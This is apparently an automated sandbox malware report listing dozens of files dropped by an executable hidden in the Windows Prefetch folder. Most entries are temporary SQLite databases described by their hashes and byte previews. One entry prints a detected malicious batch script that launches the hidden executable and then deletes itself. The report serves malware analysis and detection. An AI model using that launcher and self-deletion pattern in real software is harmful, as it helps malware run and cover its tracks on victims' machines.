File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mKefaXWZcx

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mWkghHPGpd

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mYjn9Zzkgr

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mZuzad5Z90

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mfaGn6qbnk

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\n0eMjP7FBU

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nH9VyclUMV

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nIzUjAqAw2

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nighdUa74z

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nyf68CbjyQ

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\o1vgclsqiw

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\oCpNwEX1dY

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\oQgLlhnpTQ

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\oW10my8Vk5

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\pO8Q4T5snJ

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\pTFjpjMu0l

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\pfyxVLTZvp.bat

Download File

Process:	C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.254538743908757
Encrypted:	false
SSDEEP:	3:mKDDVNGvTVLuVFcROr+jn9mVFAgr+l2D6nkiyBktKcKZG1Ukh4E2J5xAIIjH4Hn:hCRLuVFOOr+DEMgqZnkiyKOZG1923fI+
MD5:	BB09FC229D3C30CF71803EB7524CEEEB
SHA1:	91B8FAAD826D5CC7A181021E66CAE2546FC0AF10
SHA-256:	C8E3BA151AFC3B1F18E777AF2CD53180C31C83AB0FF8BD15DA9F4D3D24BACAC2
SHA-512:	87F72A3FEACD2949899180DD0E34271AF5CDB73FD03A119A86597C1B39D632F1776EE33DF6D02966D63A7E31580DC76DAFE7B512A080E34465107F568C6DF58E
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	@echo off..chcp 65001..ping -n 10 localhost > nul..start "" "C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe"..del /a /q /f "C:\Users\user\AppData\Local\Temp\\pfyxVLTZvp.bat"

C:\Users\user\AppData\Local\Temp\pi1iyw9dMC

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\pjvV2RxjYa

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\pt44UbVrX8

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\pwQHYtzgok

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\q7Yak2ugVm

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\qIoY0z9KOM

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\qLsQGTKhRg

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\qnBcNZwvIB

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
